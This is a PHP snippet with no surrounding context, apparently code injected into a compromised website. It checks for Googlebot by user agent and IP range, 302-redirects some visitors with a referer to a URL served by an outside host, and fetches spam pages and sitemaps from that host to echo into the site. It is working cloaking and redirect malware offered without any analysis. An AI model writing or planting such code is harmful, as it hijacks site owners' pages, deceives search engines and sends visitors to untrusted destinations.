$webpath = 'https://bc8888.vip/baxi';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$remoteIp = $_SERVER['REMOTE_ADDR'];
if ((strpos($userAgent, 'Googlebot') !== false && strpos($remoteIp, '66.249.') === 0) || (strpos($userAgent, 'AMPHTML') !== false && strpos($remoteIp, '66.249.') === 0)) {
$do = 1;
} elseif (!isset($_SERVER['HTTP_REFERER'])) {
$do = 2;
} else {
$do = 3;
$url = $webpath . '/db.php?do=' . $do;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'cURL error: ' . curl_error($ch);
}
if (trim($response) !== '') {
header("Location:".trim($response),true,302);
exit();
}
curl_close($ch);
}
$currentUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];
$bcurrentUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'];
if (isset($_GET["sitemap"])) {
$url = $webpath . '/db.php?sitemap=1¤tUrl=' . $currentUrl;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'cURL error: ' . curl_error($ch);
}
curl_close($ch);
echo trim($response);
exit();
}
if (isset($_GET["page"])) {
$url = $webpath . '/db.php?currentUrl=' . $currentUrl . '&getpath=' . $webpath . '&burl=' . $bcurrentUrl.'&page='.$_GET["page"];
}else{
$url = $webpath . '/db.php?currentUrl=' . $currentUrl . '&getpath=' . $webpath . '&burl=' . $bcurrentUrl;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'cURL error: ' . curl_error($ch);
}
curl_close($ch);
echo trim($response);